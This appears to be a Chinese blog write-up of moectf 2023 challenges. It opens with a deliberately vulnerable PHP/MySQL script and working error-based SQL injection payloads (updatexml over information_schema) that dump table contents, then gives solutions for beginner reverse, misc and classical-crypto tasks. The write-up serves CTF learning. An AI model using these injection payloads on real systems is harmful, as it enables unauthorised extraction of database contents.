// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);

// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');

$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机

// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码

$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);

$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);

// 检查连接是否成功
if ($mysqli->connect_errno) {
    echo '数据库连接失败: ' . $mysqli->connect_error;
    exit();
}

$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";

// 执行插入
$result = mysqli_query($mysqli, $query);

// 检查插入是否成功
if ($result) {
    echo '数据插入成功';
} else {
    echo '数据插入失败: ' . mysqli_error($mysqli);
}

// 关闭数据库连接
mysqli_close($mysqli);

//gpt真好用

通过代码审计可以知道开启了报错显示,所以我们可以通过报错注入来获取信息

我们需要传入ipuser_agenttime参数,这里用time来当注入点

构造payload:

ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),25,50),3)

得到库名,然后爆表

payload:

ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wordpress' ),0x7e),1,20),3)

image-20231006125426033

得到表名,然后爆字段

payload:

ip=1&user_agent=1&time=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wordpress' and table_name='secret_of_kokomi'),0x7e),3)

image-20231006114243193

获取flag

ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(content) from wordpress.secret_of_kokomi),0x7e),40,60),3)
后半段:
ip=1&user_agent=1&time=updatexml(1,reverse(concat(0x7e,(select group_concat(content) from wordpress.secret_of_kokomi),0x7e)),3

Reversez

Reverse入门指北

入门指北,运行附带程序获得flag

notepad+打开搜索moe

image-20230814185604057

base_64

base64是一种编码方式,不过这个好像有点奇怪?
hint:pyc文件的反编译可以试试pycdc,或者找找在线的反编译工具

在线找个网站反编译一下base_64.pyc文件

反编译后代码如下

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.7

import base64
from string import *
str1 = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0='
string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/'
string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag = input('welcome to moectf\ninput your flag and I wiil check it:')
enc_flag = base64.b64encode(flag.encode()).decode()
enc_flag = enc_flag.translate(str.maketrans(string2, string1))
if enc_flag == str1:
    print('good job!!!!')
else:
    print('something wrong???')
    exit(0)

base64解密并且更换密码本

image-20230814190952127

Xor

这题是一个简单的异或算法。相信初学者们在熟悉了一些例如ida等工具的使用之后能很快解决。
提示:异或有个特点,a ^ b = c ,那么c ^ a =b

脚本如下

#include<stdio.h>
#include<string.h>
int main(){
	char v[30]={0x54, 0x56, 0x5C, 0x5A, 0x4D, 0x5F, 0x42, 0x60, 0x56, 0x4C, 
  0x66, 0x52, 0x57, 0x09, 0x4E, 0x66, 0x51, 0x09, 0x4E, 0x66, 
  0x4D, 0x09, 0x66, 0x61, 0x09, 0x6B, 0x18, 0x44};
  for(int i=0;i<28;++i){
  	v[i]=v[i]^0x39;
  }
  for(int i=0;i<28;++i){
  	printf("%c",v[i]);
  }
}

运行得到flag

Misc

Misc 入门指北

来看看最基础的入门知识吧!

文件最后有字符串

image-20230814192620987

base64解码

image-20230814192645329

打不开的图片1

图片用010Editor打开

然后插入字节

image-20230814195850901

我们要添加文件头FFD8,所以插入两个字节

image-20230814195936298

插入文件头FFD8

image-20230814200159810

然后添加文件后缀名.JPEG

图片正常显示

image-20230814200244178

右键查看属性

image-20230814200410349

解码得到flag

image-20230814200446347

狗子(1) 普通的猫

010查看文件,flag在最后

image-20230814194440664

Classical Crypto

ezrot

DESCRIPTION:ezrot

密文如下

@64E7LC@Ecf0:D0;FDE020D:>!=60=6EE6C0DF3DE:EFE:@?04:!96C0tsAJdEA6d;F}%0N

Rot47加密,找个网站直接解密

image-20230817020013332

可可的新围墙

DESCRIPTION:可可的新围墙

密文如下

mt3_hsTal3yGnM_p3jocfFn3cp3_hFs3c_3TrB__i3_uBro_lcsOp}e{ciri_hT_avn3Fa_j

W型栅栏,栏数是3,直接解密

image-20230819175711392

皇帝的新密码

皇帝的新密码

密文如下

tvljam{JhLzhL_JPwoLy_Pz_h_cLyF_zPtwPL_JPwoLy!_ZmUVUA40q5KbEQZAK5Ehag4Av}

凯撒密码,偏移量19,解密

image-20230819180810423

不是“皇帝的新密码”

不是“皇帝的新密码”

附件内容如下

scsfct{wOuSQNfF_IWdkNf_Jy_o_zLchmK_voumSs_zvoQ_loFyof_FRdiKf_4i4x4NLgDn}

md5 of flag (utf-8) ea23f80270bdd96b5fcd213cae68eea5

密码可以去了解一下维吉尼亚密码加密方式,已知前面是moectf,秘钥可以得知是goodjob,解密得到flag

image-20230820003425234

Basic

CCCC

C语言是学习计算机基础中的基础,也是计算机第一学期的必修课。本题你需要配置一个能够编译运行C语言程序的环境,并且运行题目给出的代码来获取flag。
by the way:如果你看不懂这段代码,仅仅只是运行得到了flag,后面的题做起来会有一些困难噢

下载附件得到代码

#include<stdio.h>
#include<string.h>
int main()
{
  //unsigned char flag[]="moectf{HAHA_C_1s_easy!}";
  unsigned char enc_data[]="mng`pc}OIAKTOR?|Ots`m4k",flag[23];
  int i;
  for( i=0;i<strlen(enc_data);i++)
  {
    flag[i]=enc_data[i]^i;
  }
  puts(flag);
  return 0;
}

运行后得到flag,注释也有

Python

DESCRIPTION: Python是CTF中最常用的编程语言,不管是学习哪个方向都离不开Python。本题你需要配置一个能够编译运行Python程序的环境,并且运行题目给出的代码来获取flag。
by the way:希望你是在看懂这段代码的基础上提交flag的:)

附件内代码如下

enc1=[158, 156, 150, 144, 135, 149, 136, 163, 138, 135, 155, 195, 157, 172, 194, 137, 172, 195, 134, 129, 172, 148, 195, 195, 151, 172, 149, 129, 154, 150, 157, 151, 137, 142]
x=lambda x:x^0xff
enc2=[]
for i in enc1:
  enc2.append(x(i))
key="moectf2023"
flag=""
for i in range(len(enc2)):
    flag+=chr(((0xf3)&(enc2[i])|((enc2[i])^0xff)&0xc))
print(flag)

运行得到flag

moectf{Pyth0n_1z_0ur_g00d_friendz}

runme

DESCRIPTION: 下载文件,双击运行得flag~
但是我的程序好像会闪退欸,能不能想个办法保留一下它的输出?比如用CMD来运行它试试?
如果你不知道什么是CMD,可以尝试使用搜索引擎来学习,加油吧(> <)

在命令行运行

runme.exe

image-20230820011806103

runme2

DESCRIPTION: 下载文件,运行得flag~
诶诶出了点小问题,好像不能运行?!因为这个程序是Linux操作系统下的可执行文件,不再是Windows了。
请尝试配置一个Linux环境(虚拟机或者WSL)来运行它。

Linux环境下运行得到flag

image-20230820012256971

后记

因为本人是学Web的,所以剩下的方向纯属是瞎写,师傅们觉得写的不好也轻点骂(

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值